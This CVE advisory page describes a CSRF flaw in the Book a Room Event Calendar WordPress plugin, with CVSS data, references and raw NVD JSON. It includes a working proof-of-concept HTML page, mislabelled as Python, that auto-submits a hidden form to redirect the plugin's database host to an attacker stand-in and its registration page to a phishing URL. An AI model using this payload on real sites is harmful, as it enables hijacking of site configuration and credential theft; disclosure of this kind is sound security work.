CVE-2026-9721

Description

The Book a Room Event Calendar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.9. This is due to missing or incorrect nonce validation on the settings_form()/update_settings() functionality. The plugin's options page handler dispatches on the 'action' POST parameter and calls update_settings(), which persists plugin configuration (including the external database host, username, password, prefix, database name, encryption key, and registration page URL) via update_option(), without ever generating a nonce field in the settings form or verifying one (no wp_nonce_field(), check_admin_referer(), or wp_verify_nonce() exists anywhere in the plugin). This makes it possible for unauthenticated attackers to modify the plugin's database connection settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Book a Room Event Calendar Plugin <= 1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-9721 PoC: CSRF exploit for Book a Room Event Calendar plugin -->
<!-- This HTML page, when visited by a logged-in WordPress administrator, -->
<!-- will forge a request to modify the plugin's database connection settings -->

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <!-- Hidden auto-submitting form targeting the WordPress admin page -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php?page=bookaroom-events-settings" method="POST">
        <!-- The 'action' parameter that triggers update_settings() -->
        <input type="hidden" name="action" value="update_settings" />

        <!-- Malicious database connection settings controlled by attacker -->
        <input type="hidden" name="bookaroom_db_host" value="attacker-controlled-db.example.com" />
        <input type="hidden" name="bookaroom_db_user" value="attacker_user" />
        <input type="hidden" name="bookaroom_db_pass" value="attacker_password" />
        <input type="hidden" name="bookaroom_db_name" value="malicious_db" />
        <input type="hidden" name="bookaroom_db_prefix" value="wp_" />
        <input type="hidden" name="bookaroom_encryption_key" value="attacker_key" />
        <input type="hidden" name="bookaroom_registration_page" value="http://phishing-site.example.com/register" />
    </form>

    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9721
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9721
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9721/
[4] VulDB https://vuldb.com/cve/CVE-2026-9721
[5] https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L103
[6] https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L15
[7] https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L161
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/18b77c9b-6614-4a3f-a003-54567d9c4408?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9721", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:30.410", "lastModified": "2026-06-25T13:26:11.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Book a Room Event Calendar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.9. This is due to missing or incorrect nonce validation on the settings_form()/update_settings() functionality. The plugin's options page handler dispatches on the 'action' POST parameter and calls update_settings(), which persists plugin configuration (including the external database host, username, password, prefix, database name, encryption key, and registration page URL) via update_option(), without ever generating a nonce field in the settings form or verifying one (no wp_nonce_field(), check_admin_referer(), or wp_verify_nonce() exists anywhere in the plugin). This makes it possible for unauthenticated attackers to modify the plugin's database connection settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "chuhpl", "product": "Book a Room Event Calendar", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T14:49:24.282716Z", "id": "CVE-2026-9721", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/book-a-room-event-calendar/trunk/bookaroom-events-settings.php#L161", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/18b77c9b-6614-4a3f-a003-54567d9c4408?source=cve", "source": "[email protected]"}]}}